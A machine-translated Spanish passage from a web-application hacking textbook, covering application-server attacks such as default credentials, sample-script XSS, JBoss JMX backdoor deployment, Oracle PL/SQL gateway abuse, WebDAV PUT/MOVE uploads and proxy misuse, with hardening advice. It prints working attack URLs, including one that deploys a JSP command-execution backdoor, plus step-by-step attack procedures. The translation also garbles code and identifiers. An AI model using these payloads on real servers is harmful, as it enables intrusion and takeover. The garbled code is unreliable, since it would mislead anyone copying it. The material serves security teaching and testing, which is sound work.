otras funciones (consulte el Capítulo 19). Sin embargo, estas restricciones no
son completamente efectivas y han sido vulnerables a desviaciones. Aunque el
modo seguro puede proporcionar una capa útil de defensa, arquitectónicamente
es el lugar equivocado para controlar el impacto de una aplicación malintencionada
o vulnerable, ya que implica que el sistema operativo confíe en el nivel de la
aplicación para controlar sus acciones. Por esta y otras razones, el modo seguro se eliminó de la versión 6 de
SUGERENCIA Si puede ejecutar comandos PHP arbitrarios en un

servidor, use el comando phpinfo() para obtener detalles de la configuración
del entorno PHP. Puede revisar esta información para establecer si el modo seguro está
habilitado y cómo otras opciones de configuración pueden afectar las acciones que puede
realizar fácilmente. Consulte el Capítulo 19 para obtener más detalles.
Segregar componentes en una aplicación compartida

En un entorno ASP donde una sola aplicación comprende varios componentes
compartidos y personalizables, los límites de confianza deben imponerse entre los
componentes que están bajo el control de diferentes partes. Cuando un componente
compartido , como un procedimiento almacenado en una base de datos, recibe datos
de un componente personalizado que pertenece a un cliente individual, estos datos
deben tratarse con el mismo nivel de desconfianza que si se originaran directamente de un usuario final.
Cada componente debe someterse a rigurosas pruebas de seguridad que se originen en
componentes adyacentes fuera de sus límites de confianza para identificar cualquier defecto que
pueda permitir que un componente vulnerable o malicioso comprometa la aplicación más amplia.
Debe prestarse especial atención a las funciones administrativas y de registro compartidas.
Resumen
Los controles de seguridad implementados dentro de las arquitecturas de aplicaciones web
presentan una variedad de oportunidades para que los propietarios de aplicaciones mejoren la
postura de seguridad general de su implementación. Como consecuencia, los defectos y los
descuidos dentro de la arquitectura de una aplicación a menudo pueden permitirle escalar
drásticamente un ataque, moviéndose de un componente a otro para eventualmente comprometer
toda la aplicación.
Los entornos basados en ASP y alojamiento compartido presentan una nueva gama de
problemas de seguridad difíciles, que implican límites de confianza que no surgen dentro de una
única aplicación alojada. Cuando ataca una aplicación en un contexto compartido, un enfoque
clave de sus esfuerzos debe ser el propio entorno compartido. Debe intentar determinar si es
posible comprometer ese entorno desde una aplicación individual o aprovechar una aplicación
vulnerable para atacar a otras.
Preguntas
1. Está atacando una aplicación que emplea dos servidores diferentes: un servidor de
aplicaciones y un servidor de bases de datos. Ha descubierto una capacidad vulnerable
que le permite ejecutar comandos arbitrarios del sistema operativo en el servidor de
aplicaciones. ¿Puede aprovechar esta vulnerabilidad para recuperar datos de aplicaciones
confidenciales que se encuentran en la base de datos?
2. En un caso diferente, ha descubierto una falla de inyección SQL que puede explotarse
para ejecutar comandos arbitrarios del sistema operativo en la base de datos.
servidor. ¿Puede aprovechar esta vulnerabilidad para comprometer el servidor de

aplicaciones? Por ejemplo, ¿podría modificar los scripts de la aplicación guardados
en el servidor de aplicaciones y el contenido devuelto a los usuarios?
3. Estás atacando una aplicación web que está alojada en un entorno compartido.
Al suscribir un contrato con el ISP, puede adquirir algo de espacio web en el mismo
servidor que su objetivo, donde se le permite cargar scripts PHP.
¿Puede aprovechar esta situación para comprometer la aplicación a la que se dirige?
4. Los componentes de la arquitectura Linux, Apache, MySQL y PHP a menudo se

encuentran instalados en el mismo servidor físico. ¿Por qué esto puede disminuir la
postura de seguridad de la arquitectura de la aplicación?
5. ¿Cómo podría buscar evidencia de que la aplicación que está atacando es parte de
una aplicación más amplia administrada por un proveedor de servicios de aplicaciones?
CAPÍTULO R
18
atacando al
Servidor de aplicaciones
Al igual que con cualquier tipo de aplicación, una aplicación web depende de las otras capas de
la pila de tecnología que la respaldan, incluida la aplicación o el servidor web, el sistema operativo
y la infraestructura de red. Un atacante puede apuntar a cualquiera de estos componentes.
Comprometer la tecnología de la que depende una aplicación muy a menudo permite que un
atacante comprometa completamente la propia aplicación.
La mayoría de los ataques en esta categoría están fuera del alcance de un libro sobre cómo
atacar aplicaciones web. Una excepción a esto son los ataques que se dirigen a las capas de la
aplicación y del servidor web, así como a cualquier defensa relevante de la capa de la aplicación.
Las defensas en línea se emplean comúnmente para ayudar a proteger las aplicaciones web e identificar ataques.
Eludir estas defensas es un paso clave para comprometer la aplicación.
Hasta ahora no hemos hecho una distinción entre un servidor web y un servidor de
aplicaciones, porque los ataques tienen como objetivo la funcionalidad de la aplicación,
independientemente de cómo se proporcione. En realidad, gran parte de la capa de presentación,
la comunicación con los componentes de back-end y el marco de seguridad central pueden ser
administrados por el contenedor de la aplicación. Esto puede dar un alcance adicional a un
ataque. Claramente , cualquier vulnerabilidad en las tecnologías que ofrecen este marco será de
interés para un atacante si puede usarse para comprometer directamente la aplicación.
Este capítulo se centra en las formas de aprovechar los defectos en la capa del servidor de
aplicaciones desde una perspectiva de Internet para atacar la aplicación web que se ejecuta en ella.
Las vulnerabilidades que puede explotar para atacar a los servidores de aplicaciones se dividen
en dos grandes categorías: deficiencias en la configuración del servidor y fallas de seguridad en
el software del servidor de aplicaciones. Una lista de defectos no puede ser completa,
669
670 Capítulo 18 n Atacar el servidor de aplicaciones
porque el software de este tipo puede cambiar con el tiempo. Pero las fallas descritas aquí
ilustran las trampas típicas que aguardan a cualquier aplicación que implemente sus
propias extensiones, módulos o API nativos, o que llegue fuera del contenedor de la aplicación.
Este capítulo también examina los firewalls de aplicaciones web, describe sus
fortalezas y debilidades y detalla las formas en que a menudo se pueden eludir
para lanzar ataques.
Configuración de servidor vulnerable
Incluso el más simple de los servidores web viene con una gran cantidad de opciones de
configuración que controlan su comportamiento. Históricamente, muchos servidores se han enviado
con opciones predeterminadas inseguras, que presentan oportunidades de ataque a menos que se
refuercen explícitamente.
Credenciales predeterminadas
Muchos servidores web contienen interfaces administrativas que pueden ser de acceso público .
Estos pueden estar ubicados en una ubicación específica dentro de la raíz web o pueden ejecutarse
en un puerto diferente, como 8080 o 8443. Con frecuencia, las interfaces administrativas tienen
credenciales predeterminadas que son bien conocidas y no es necesario cambiarlas durante la
instalación.
La tabla 18-1 muestra ejemplos de credenciales predeterminadas en algunas de las interfaces
administrativas más comunes.
Tabla 18-1: Credenciales predeterminadas en algunas interfaces administrativas comunes
NOMBRE DE USUARIO CLAVE
administración (ninguno)
gato apache gato gato
raíz raíz
Servidor Sun Java administración administración
administración administración
Servidor empresarial Netscape
administrador administrador
anónimo (ninguno)
Administrador de conocimientos de Compaq usuario usuario
operador operador
usuario publico
Zeus administración (ninguno)

Capítulo 18 n Atacar el servidor de aplicaciones 671
Además de las interfaces administrativas en los servidores web, numerosos dispositivos, como
conmutadores, impresoras y puntos de acceso inalámbrico, utilizan interfaces web que tienen
credenciales predeterminadas que pueden no haberse modificado. Los siguientes recursos
enumeran las credenciales predeterminadas para una gran cantidad de tecnologías diferentes:
n www.cirt.net/contraseñas
n www.phenoelit-us.org/dpl/dpl.html
PASOS DE HACK
1. Revise los resultados de sus ejercicios de mapeo de aplicaciones para identificar el

servidor web y otras tecnologías en uso que pueden contener interfaces
administrativas accesibles.
2. Realice un escaneo de puertos del servidor web para identificar cualquier interfaz
administrativa que se ejecute en un puerto diferente al de la aplicación de destino principal.
3. Para cualquier interfaz identificada, consulte la documentación del fabricante y las

listas de contraseñas comunes para obtener las credenciales predeterminadas.
Utilice la base de datos integrada de Metasploit para escanear el servidor.
4. Si las credenciales predeterminadas no funcionan, use las técnicas descritas en

Capítulo 6 para intentar adivinar las credenciales válidas.
5. Si obtiene acceso a una interfaz administrativa, revise las opciones disponibles.

y determinar si esto se puede usar para comprometer aún más el host y atacar la
aplicación principal.
Contenido predeterminado
La mayoría de los servidores de aplicaciones se envían con una gama de contenido y funcionalidad
predeterminados que puede aprovechar para atacar el servidor en sí o la aplicación de destino
principal. Aquí hay algunos ejemplos de contenido predeterminado que pueden ser de su interés:
n Funcionalidad de depuración y prueba diseñada para que la usen los administradores n
Funcionalidad de muestra diseñada para demostrar ciertas tareas comunes n Funciones
poderosas que no están diseñadas para uso público pero que se dejan sin querer
accesible
n Manuales del servidor que pueden contener información útil específica de la propia
instalación
Funcionalidad de depuración
La funcionalidad diseñada para el uso de diagnóstico por parte de los administradores suele ser
de gran valor para un atacante. Puede contener información útil sobre la configuración y el estado
de tiempo de ejecución del servidor y las aplicaciones que se ejecutan en él.
La Figura 18-1 muestra la página predeterminada phpinfo.php, que existe en muchas

instalaciones de Apache. Esta página simplemente ejecuta la función de PHP phpinfo() y
devuelve el resultado. Contiene una gran cantidad de información sobre el entorno PHP, los
ajustes de configuración, los módulos del servidor web y las rutas de los archivos.
Figura 18-1: La página predeterminada phpinfo.php
Funcionalidad de muestra
De manera predeterminada, muchos servidores incluyen varias secuencias de comandos y páginas de

muestra diseñadas para demostrar cómo se pueden usar ciertas funciones y API del servidor de aplicaciones.
Por lo general, estos están destinados a ser inocuos y no brindar oportunidades para un atacante. Sin
embargo, en la práctica esto no ha sido así, por dos razones:
n Muchas secuencias de comandos de muestra contienen vulnerabilidades de seguridad que se pueden explotar
para realizar acciones no previstas por los autores de los guiones.

n Muchas secuencias de comandos de muestra implementan funciones que son de interés directo.
utilizar a un atacante.
Un ejemplo del primer problema es el Dump Servlet incluido en Jetty versión

7.0.0. Se puede acceder a este servlet desde una URL como /test/jsp/dump .jsp.
Cuando se accede, imprime varios detalles de la instalación de Jetty y la
solicitud actual, incluida la cadena de consulta de la solicitud. Esto permite una sencilla
secuencias de comandos entre sitios si un atacante simplemente incluye etiquetas de secuencias de comandos en la URL, como
como /test/jsp/dump.jsp?%3Cscript%3Ealert(%22xss%22)%3C/script%3E.
Un ejemplo del segundo problema es el script de ejemplo de sesiones que se incluye con
Apache Tomcat. Como se muestra en la Figura 18-2, esto se puede usar para obtener y
establecer variables de sesión arbitrarias. Si una aplicación que se ejecuta en el servidor
almacena datos confidenciales en la sesión de un usuario, un atacante puede ver esto y puede
interferir con el procesamiento de la aplicación modificando su valor.
Figura 18-2: El script de ejemplo de sesiones predeterminado enviado con Apache Tomcat
Funciones poderosas
Algunos software de servidor web contienen una potente funcionalidad que no está destinada a
ser utilizada por el público, pero a la que los usuarios finales pueden acceder a través de algún
medio. En muchos casos, los servidores de aplicaciones permiten que los archivos web
(archivos WAR ) se implementen en el mismo puerto HTTP que utiliza la propia aplicación, con
las credenciales administrativas correctas. Este proceso de implementación de un servidor de
aplicaciones es un objetivo principal para los piratas informáticos. Los marcos de explotación
comunes pueden automatizar el proceso de escanear las credenciales predeterminadas, cargar
un archivo web que contenga una puerta trasera y ejecutarlo para obtener un shell de comandos
en el sistema remoto, como se muestra en la Figura 18-3.
Figura 18-3: Uso de Metasploit para comprometer un servidor Tomcat vulnerable
JMX
La consola JMX, instalada de manera predeterminada dentro de una instalación de JBoss, es
un ejemplo clásico de poderoso contenido predeterminado. La consola JMX se describe como
una " vista sin formato del micronúcleo del servidor de aplicaciones JBoss". De hecho, le
permite acceder directamente a cualquier Bean administrado dentro del servidor de aplicaciones
JBoss. Debido a la gran cantidad de funciones disponibles, se han informado numerosas
vulnerabilidades de seguridad . Entre los más fáciles de explotar está la capacidad de usar el
método store dentro de DeploymentFileRepository para crear un archivo war que contenga
una puerta trasera, como se muestra en la Figura 18-4.
Figura 18-4: La consola JMX contiene funciones que permiten implementar archivos WAR arbitrarios
Por ejemplo, la siguiente URL carga una página llamada cmdshell.jsp que contiene
una puerta trasera:
http://wahh-app.com:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=
jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=
store&argType=java.lang.String&arg0=cmdshell.war&argType= java.lang.String&arg1=cmdshell&argType=
java.lang.String&arg2= .jsp&argType=java.lang.String&arg3=%3C%25Runtime.getRuntime%28%29.exec
%28request.getParameter%28%22c%22%29%29%3B%25%3E%0A&argType=
booleano&arg4=Verdadero
Como se muestra en la Figura 18-5, esto crea con éxito una puerta trasera del lado del
servidor que ejecuta el siguiente código:
<%Runtime.getRuntime().exec(solicitud.getParameter(“c”));%>
Figura 18-5: Un ataque exitoso usando la consola JMX para implementar un archivo WAR de puerta
trasera en un servidor JBoss
El Escáner de implementación incorporado luego implementa automáticamente el

archivo WAR de Troya en el servidor de aplicaciones JBoss. Una vez implementado,
se puede acceder a él desde la aplicación cmdshell recién creada, que en este caso
solo contiene cmdshell.jsp:
http://wahh-app.com:8080/cmdshell/cmdshell.jsp?c=cmd%20/c%20ipconfig%3Ec:\foo
NOTA La solución a este problema fue restringir los métodos GET y POST solo a los
administradores. Esto se omitió fácilmente simplemente emitiendo la solicitud que se
acaba de mostrar usando el método HEAD. (Los detalles se pueden encontrar en
www.securityfocus .com/bid/39710/.) Al igual que con cualquier vulnerabilidad basada
en configuración, herramientas como Metasploit pueden explotar estas diversas
vulnerabilidades JMX con un alto grado de confiabilidad.
Aplicaciones Oracle
El ejemplo perdurable de la poderosa funcionalidad predeterminada surge en la puerta de enlace PL/SQL
implementada por Oracle Application Server y se puede ver en otros productos de Oracle, como E-Business
Suite. La puerta de enlace PL/SQL proporciona una interfaz a través de la cual las solicitudes web se transmiten
a una base de datos Oracle de back-end.
Los parámetros arbitrarios se pueden pasar a los procedimientos de la base de datos utilizando direcciones
URL como la siguiente:
https://wahh-app.com/pls/dad/package.procedure?param1=foo&param2=bar
Esta funcionalidad está destinada a proporcionar un medio listo para convertir la lógica empresarial
implementada dentro de una base de datos en una aplicación web fácil de usar. Sin embargo, debido a que un
atacante puede especificar un procedimiento arbitrario, puede explotar la puerta de enlace PL/SQL para
acceder a funciones poderosas dentro de la base de datos. Por ejemplo, el procedimiento
SYS.OWA_UTIL.CELLSPRINT se puede usar para ejecutar consultas de bases de datos arbitrarias y, por lo
tanto, recuperar datos confidenciales:
https://wahh-app.com/pls/dad/SYS.OWA_UTIL.CELLSPRINT?P_THEQUERY=SELECT+
*+DE+usuarios
Para evitar ataques de este tipo, Oracle introdujo un fi ltro denominado Lista de exclusión PL/SQL. Esto
verifica el nombre del paquete al que se accede y bloquea los intentos de acceder a cualquier paquete cuyos
nombres comiencen con las siguientes expresiones:
SIS.
DBMS_
UTL_
OWA_
OWA.
HTP.
HTF.
Este fi ltro fue diseñado para bloquear el acceso a la poderosa funcionalidad predeterminada
dentro de la base de datos. Sin embargo, la lista estaba incompleta y no bloqueaba el acceso
a otros poderosos procedimientos predeterminados propiedad de cuentas DBA como CTXSYS
y MDSYS. Otros problemas se asociaron con la lista de exclusión de PL/SQL, como se
describe más adelante en este capítulo.
Por supuesto, el propósito de la puerta de enlace PL/SQL es alojar paquetes y procedimientos
específicos, y desde entonces se ha encontrado que muchos de los valores predeterminados
contienen vulnerabilidades. En 2009, los paquetes predeterminados que forman parte de E-
Business Suite demostraron contener varias vulnerabilidades, incluida la capacidad de editar
páginas arbitrarias. Los investigadores dan el ejemplo del uso de icx_define_pages .DispPageDialog
para inyectar HTML en la página de inicio del administrador, ejecutando un ataque de
secuencias de comandos entre sitios almacenado:
/pls/dad/icx_define_pages.DispPageDialog?p_mode=RENAME&p_page_id=[page_id]
PASOS DE HACK
1. Las herramientas como Nikto son efectivas para localizar gran parte del contenido web predeterminado.
Los ejercicios de asignación de aplicaciones descritos en el Capítulo 4 deberían haber
identificado la mayoría del contenido predeterminado presente en el servidor al que se dirige.
2. Usar motores de búsqueda y otros recursos para identificar contenido predeterminado y

funcionalidad incluida dentro de las tecnologías que se sabe que están en uso. Si es factible, lleve
a cabo una instalación local de estos y revíselos en busca de cualquier funcionalidad
predeterminada que pueda aprovechar en su ataque.
Listados de directorios
Cuando un servidor web recibe una solicitud de un directorio, en lugar de un archivo real,
puede responder de una de estas tres formas:
n Puede devolver un recurso predeterminado dentro del directorio, como index.html.

n Puede devolver un error, como el código de estado HTTP 403, que indica que
la solicitud no está permitida.
n Puede devolver una lista que muestre el contenido del directorio, como se muestra
en la figura 18-6.
Figura 18-6: Una lista de directorios
En muchas situaciones, las listas de directorios no tienen ninguna relevancia para la

seguridad. Por ejemplo, revelar el índice de un directorio de imágenes puede ser intrascendente.
De hecho, las listas de directorios a menudo se divulgan intencionalmente porque brindan un medio
integrado para navegar por sitios que contienen contenido estático, como en el ejemplo ilustrado.
Sin embargo, hay dos razones principales por las que obtener listados de directorios puede
ayudarlo a atacar una aplicación:
n Muchas aplicaciones no imponen un control de acceso adecuado sobre su funcionalidad y

recursos y dependen del desconocimiento de un atacante de las URL utilizadas para
acceder a elementos confidenciales (consulte el Capítulo 8). n Los archivos y directorios a
menudo se dejan sin querer dentro de la raíz web de los servidores, como registros, archivos
de copia de seguridad y versiones antiguas de scripts.
En ambos casos, la vulnerabilidad real radica en otra parte, en la falta de control del acceso a
datos confidenciales. Pero dado que estas vulnerabilidades son extremadamente frecuentes y que
los nombres de los recursos inseguros pueden ser difíciles de adivinar, la disponibilidad de listas
de directorios suele ser de gran valor para un atacante y puede conducir rápidamente a un
compromiso completo de una aplicación.
PASOS DE HACK
Para cada directorio descubierto en el servidor web durante el mapeo de la aplicación,

realice una solicitud solo para este directorio e identifique cualquier caso en el que se
devuelva una lista de directorios.
NOTA Además del caso anterior, donde las listas de directorios están disponibles
directamente, se han descubierto vulnerabilidades dentro del software del servidor
web que pueden explotarse para obtener una lista de directorios. Algunos ejemplos
de estos se describen más adelante en este capítulo.
Métodos WebDAV
WebDAV es un término dado a una colección de métodos HTTP utilizados para la creación y el control de
versiones distribuidos basados en la web. Estos han estado ampliamente disponibles desde 1996. Se han
adoptado más recientemente en aplicaciones de colaboración y almacenamiento en la nube, donde se
necesita acceder a los datos del usuario a través de sistemas que utilizan un protocolo compatible con
cortafuegos existente, como HTTP. Como se describe en el Capítulo 3, las solicitudes HTTP pueden usar
una variedad de métodos además de los métodos estándar GET y POST . WebDAV agrega muchos otros
que se pueden usar para manipular archivos en el servidor web. Dada la naturaleza de la funcionalidad, si
estos son accesibles para usuarios con pocos privilegios, pueden proporcionar una vía efectiva para atacar
una aplicación. Aquí hay algunos métodos para buscar:
n PUT carga el archivo adjunto a la ubicación especificada.

n DELETE elimina el recurso especificado. n COPY copia
el recurso especifi cado a la ubicación dada en el Destino
encabezamiento.
n MOVER mueve el recurso especificado a la ubicación dada en el Destino

encabezamiento.
n SEARCH busca recursos en una ruta de directorio. n PROPFIND
recupera información sobre el recurso especificado, como autor, tamaño y tipo de contenido.
Puede usar el método OPCIONES para enumerar los métodos HTTP que están permitidos
en un directorio particular:
OPCIONES /público/ HTTP/1.0


Conexión: cerrar
Fecha: domingo, 10 de abril de 2011 15:56:27 GMT

Servidor: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET MS-Autor-
Via: MS-FP/4.0,DAV

Rangos de aceptación: ninguno
DASL: <DAV:sql>
DAV: 1, 2
Público: OPCIONES, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIN
D, PROPPATCH, BLOQUEAR, DESBLOQUEAR, BUSCAR
Permitir: OPCIONES, RASTREO, OBTENER, CABEZAL, COPIAR, PROPFIND, BUSCAR, BLOQUEAR, DESBLOQUEAR
Control de caché: privado
Esta respuesta indica que, de hecho, se permiten varios de los poderosos métodos
enumerados anteriormente . Sin embargo, en la práctica, estos pueden requerir autenticación
o estar sujetos a otras restricciones.
El método PUT es particularmente peligroso. Si carga archivos arbitrarios dentro de la
raíz web, el primer objetivo es crear un script de puerta trasera en el servidor que será
ejecutado por un módulo del lado del servidor, lo que otorga al atacante el control total
de la aplicación y, a menudo, del servidor web. sí mismo. Si el método PUT parece estar
presente y habilitado, puede verificarlo de la siguiente manera:
PUT /public/test.txt HTTP/1.1 Host: mdsec.net
prueba
HTTP/1.1 201 Creado

...
Tenga en cuenta que es probable que los permisos se implementen por directorio, por lo que se
requiere una verificación recursiva en un ataque. Las herramientas como DAVTest, que se muestra a
continuación, se pueden usar para verificar iterativamente todos los directorios en el servidor para el
método PUT y determinar qué extensiones de archivo están permitidas. Para eludir las restricciones
sobre el uso de PUT para cargar scripts de puerta trasera, la herramienta también intenta usar PUT
seguido del método MOVE :
C:\>perl davtest.pl -url http://mdsec.net/public -directory 1 -move -quiet

MOVERSE .áspid FALLAR
MOVERSE .shtml FALLO

MOVERSE .aspx ERROR
Resumen davtest.pl: Creado:

http://mdsec.net/public/1 Archivo MOVE/PUT: http://
mdsec.net/public/1/davtest_UmtllhI8izy2.php Archivo MOVE/PUT: http://mdsec.net /public/1/davtest_UmtllhI8izy2.html
Archivo MOVE/PUT: http://mdsec.net/public/1/davtest_UmtllhI8izy2.cgi Archivo MOVE/PUT: http://mdsec.net/public/1/
davtest_UmtllhI8izy2.cfm
Archivo MOVE/PUT: http://mdsec.net/public/1/davtest_UmtllhI8izy2.jsp Archivo MOVE/PUT: http://

mdsec.net/public/1/davtest_UmtllhI8izy2.pl Archivo MOVE/PUT: http://mdsec .net/public/1/
davtest_UmtllhI8izy2.txt MOVE/PUT Archivo: http://mdsec.net/public/1/davtest_UmtllhI8izy2.jhtml
Ejecuta: http://mdsec.net/public/1/davtest_UmtllhI8izy2.html Ejecuta: http ://mdsec.net/public/1/
davtest_UmtllhI8izy2.txt
¡INTENTALO!
http://mdsec.net/public/
SUGERENCIA Para las instancias de WebDAV donde los usuarios finales pueden cargar
archivos, es relativamente común que se prohíba la carga de extensiones de lenguaje de
secuencias de comandos del lado del servidor específicas para el entorno de ese servidor.
La capacidad de cargar archivos HTML o JAR es mucho más probable, y ambos permiten
realizar ataques contra otros usuarios (consulte los Capítulos 12 y 13).
PASOS DE HACK
Para probar el manejo del servidor de diferentes métodos HTTP, deberá usar una
herramienta como Burp Repeater, que le permite enviar una solicitud arbitraria con control
total sobre los encabezados y el cuerpo del mensaje.
1. Utilice el método OPTIONS para enumerar los métodos HTTP que el servidor indica
que están disponibles. Tenga en cuenta que se pueden habilitar diferentes métodos
en diferentes directorios.
2. En muchos casos, es posible que se anuncien métodos disponibles que, de hecho, no

puede usar. A veces, un método puede ser útil aunque no aparezca en la respuesta a
la solicitud de OPCIONES. Pruebe cada método manualmente para confirmar si
realmente se puede utilizar.
3. Si encuentra que algunos métodos WebDAV están habilitados, a menudo es más fácil
usar un cliente habilitado para WebDAV para una mayor investigación, como
Microsoft FrontPage o la opción Abrir como carpeta web dentro de Internet Explorer.
una. Intente utilizar el método PUT para cargar un archivo benigno, como un
Archivo de texto.
b. Si esto tiene éxito, intente cargar un script de puerta trasera usando PUT.
C. Si la extensión necesaria para que el backdoor opere está siendo

bloqueado, intente cargar el archivo con una extensión .txt y use el método
MOVE para moverlo a un archivo con una nueva extensión.
d. Si alguno de los métodos anteriores falla, intente cargar un archivo JAR o un archivo
con contenidos que un navegador representará como HTML.
mi. Recorra recursivamente todos los directorios utilizando una herramienta como
davtest.pl.
El servidor de aplicaciones como proxy

Los servidores web a veces se configuran para actuar como servidores proxy HTTP directos o inversos
(consulte el Capítulo 3). Si un servidor está configurado como proxy de reenvío, según su configuración,
es posible aprovechar el servidor para realizar varios ataques:
n Un atacante puede ser capaz de usar el servidor para atacar sistemas de terceros en Internet, y el
tráfico malicioso le parece al objetivo que se origina en el servidor proxy vulnerable. n Un atacante
puede usar el proxy para conectarse a hosts arbitrarios en la red interna de la organización,
alcanzando así objetivos a los que no se puede acceder directamente desde Internet.
n Un atacante puede usar el proxy para volver a conectarse a otros servicios que se ejecutan en el
propio host del proxy, eludiendo las restricciones del cortafuegos y explotando potencialmente las
relaciones de confianza para eludir la autenticación.
Puede usar dos técnicas principales para hacer que un proxy de reenvío realice conexiones posteriores.
Primero, puede enviar una solicitud HTTP que contenga una URL completa que incluya un nombre de
host y (opcionalmente) un número de puerto:
OBTENGA http://wahh-otherapp.com:80/ HTTP/1.0

...
Si el servidor se configuró para reenviar solicitudes al host especificado, devuelve contenido de ese
host. Sin embargo, asegúrese de verificar que el contenido devuelto no sea del servidor original. La
mayoría de los servidores web aceptan solicitudes que contienen URL completas, y muchos simplemente
ignoran la parte del host y devuelven el recurso solicitado desde su propia raíz web.
La segunda forma de aprovechar un proxy es usar el método CONNECT para especificar

el nombre de host de destino y el número de puerto:
CONECTAR wahh-otherapp.com:443 HTTP/1.0
HTTP/1.0 200 Conexión establecida
Si el servidor responde de esta manera, está haciendo proxy de su conexión. Esta segunda técnica
suele ser más poderosa porque el servidor proxy ahora simplemente reenvía todo el tráfico enviado hacia
y desde el host especificado. Esto le permite tunelizar otros protocolos a través de la conexión y atacar
servicios no basados en HTTP. Sin embargo, la mayoría de los servidores proxy imponen restricciones
estrechas sobre los puertos a los que se puede acceder a través del método CONNECT y, por lo general,
solo permiten conexiones al puerto 443.
Las técnicas disponibles para explotar este ataque se describen en Servidor
Redirección HTTP lateral (Capítulo 10).
PASOS DE HACK
1. Con las solicitudes GET y CONNECT, intente usar el servidor web como un proxy para
conectarse a otros servidores en Internet y recuperar contenido de ellos.
2. Usando ambas técnicas, intente conectarse a diferentes direcciones IP y

puertos dentro de la infraestructura de alojamiento.
3. Con ambas técnicas, intente conectarse a números de puerto comunes en el propio servidor web
especificando 127.0.0.1 como host de destino en la solicitud.
Hosting virtual mal configurado

El Capítulo 17 describió cómo se pueden configurar los servidores web para alojar múltiples
sitios web, con el encabezado HTTP Host que se utiliza para identificar el sitio web cuyo
contenido debe devolverse. En Apache, los hosts virtuales se configuran de la siguiente manera:
<Host virtual *>

Nombre del servidor eis
DocumentRoot /var/www2
</HostVirtual>
Además de la directiva DocumentRoot , los contenedores de host virtual se pueden usar para
especificar otras opciones de configuración para el sitio web en cuestión. Un error de
configuración común es pasar por alto el host predeterminado para que cualquier configuración
de seguridad se aplique solo a un host virtual y se pueda omitir cuando se accede al host predeterminado.
PASOS DE HACK
1. Envíe solicitudes GET al directorio raíz usando lo siguiente:

n El encabezado de Host correcto.
n Un encabezado de host arbitrario.
n La dirección IP del servidor en el encabezado del Host.
n Sin encabezado de host.
2. Compare las respuestas a estas solicitudes. Por ejemplo, cuando una IP

dirección se utiliza en el encabezado del Host, el servidor simplemente puede responder
con una lista de directorio. También puede encontrar que se puede acceder a diferentes
contenidos predeterminados.
3. Si observa un comportamiento diferente, repita los ejercicios de mapeo de su aplicación

utilizando el encabezado Host que generó resultados diferentes. Asegúrese de realizar un
escaneo Nikto usando la opción -vhost para identificar cualquier contenido predeterminado
que se haya pasado por alto durante el mapeo inicial de la aplicación.
Protección de la configuración del servidor web

Asegurar la configuración de un servidor web no es inherentemente difícil. Los problemas suelen
surgir por un descuido o una falta de conciencia. La tarea más importante es comprender
completamente la documentación del software que está utilizando y las guías de endurecimiento
disponibles en relación con él.
En términos de problemas de configuración genéricos a abordar, asegúrese de incluir todos
las siguientes áreas:
n Cambie las credenciales predeterminadas, incluidos los nombres de usuario y las contraseñas
si es posible. Elimine las cuentas predeterminadas que no sean necesarias. n Bloquee el
acceso público a las interfaces administrativas, ya sea colocando ACL en las rutas relevantes
dentro de la raíz web o bloqueando el acceso a puertos no estándar.
n Eliminar todo el contenido y la funcionalidad predeterminados que no sean estrictamente

necesarios para fines comerciales. Explore el contenido de sus directorios web para identificar
los elementos restantes y use herramientas como Nikto como verificación secundaria. n Si se
conserva alguna funcionalidad predeterminada, endurezca esta en la medida de lo posible para

deshabilite opciones y comportamientos innecesarios.
n Consulte todos los directorios web para ver las listas de directorios. Siempre que sea posible,
deshabilite las listas de directorios en una configuración de todo el servidor. También puede
asegurarse de que cada directorio contenga un archivo como index.html, que el servidor está
configurado para servir de manera predeterminada. n Deshabilite todos los métodos que no
sean los utilizados por la aplicación (normalmente

GET y POST).
n Asegúrese de que el servidor web no esté configurado para ejecutarse como un proxy. Si
esta función es realmente necesaria, endurezca la configuración tanto como sea posible
para permitir conexiones solo a los hosts y puertos específicos a los que se debe acceder
legítimamente. También puede implementar el filtrado de capa de red como medida
secundaria para controlar las solicitudes salientes que se originan en el servidor web. n Si
su servidor web es compatible con alojamiento virtual, asegúrese de que cualquier refuerzo
de seguridad aplicado se aplique en el host predeterminado. Realice las pruebas descritas
anteriormente para verificar que así sea.
Software de servidor vulnerable
Los productos de servidores web van desde software extremadamente simple y liviano que
hace poco más que servir páginas estáticas hasta plataformas de aplicaciones altamente
complejas que pueden manejar una variedad de tareas, proporcionando potencialmente
todo menos la lógica comercial en sí. En el último ejemplo, es común desarrollar sobre la suposición
que este marco es seguro. Históricamente, el software del servidor web ha estado sujeto a
una amplia gama de vulnerabilidades de seguridad graves, que han resultado en la ejecución
de código arbitrario, la divulgación de archivos y la escalada de privilegios. A lo largo de los
años, las principales plataformas de servidores web se han vuelto cada vez más sólidas. En
muchos casos, la funcionalidad central ha permanecido estática o incluso se ha reducido
debido a que los proveedores han reducido deliberadamente la superficie de ataque
predeterminada. A pesar de que estas vulnerabilidades han disminuido, los principios
subyacentes siguen siendo válidos. En la primera edición de este libro, dimos ejemplos de
dónde el software de servidor es más susceptible a las vulnerabilidades. Desde esa primera
edición, se han informado nuevas instancias en cada categoría, a menudo en una tecnología
paralela o un producto de servidor. Dejando de lado algunos de los servidores web personales
más pequeños y otros objetivos menores, estas nuevas vulnerabilidades generalmente han surgido en lo siguiente
n Extensiones del lado del servidor tanto en IIS como en

Apache. n Servidores web más nuevos que se desarrollan desde cero para admitir una
aplicación específica o que se suministran como parte de un entorno de desarrollo. Es
probable que estos hayan recibido menos atención del mundo real por parte de los
piratas informáticos y son más susceptibles a los problemas descritos aquí.
Defectos del marco de aplicación

Los frameworks de aplicaciones web han sido objeto de varios defectos graves a lo largo de
los años. Describiremos un ejemplo reciente de un ejemplo genérico en un marco que hizo
vulnerables muchas aplicaciones que se ejecutan en ese marco.
El oráculo de relleno de .NET

Una de las revelaciones más famosas de los últimos años es el exploit "oráculo de relleno"
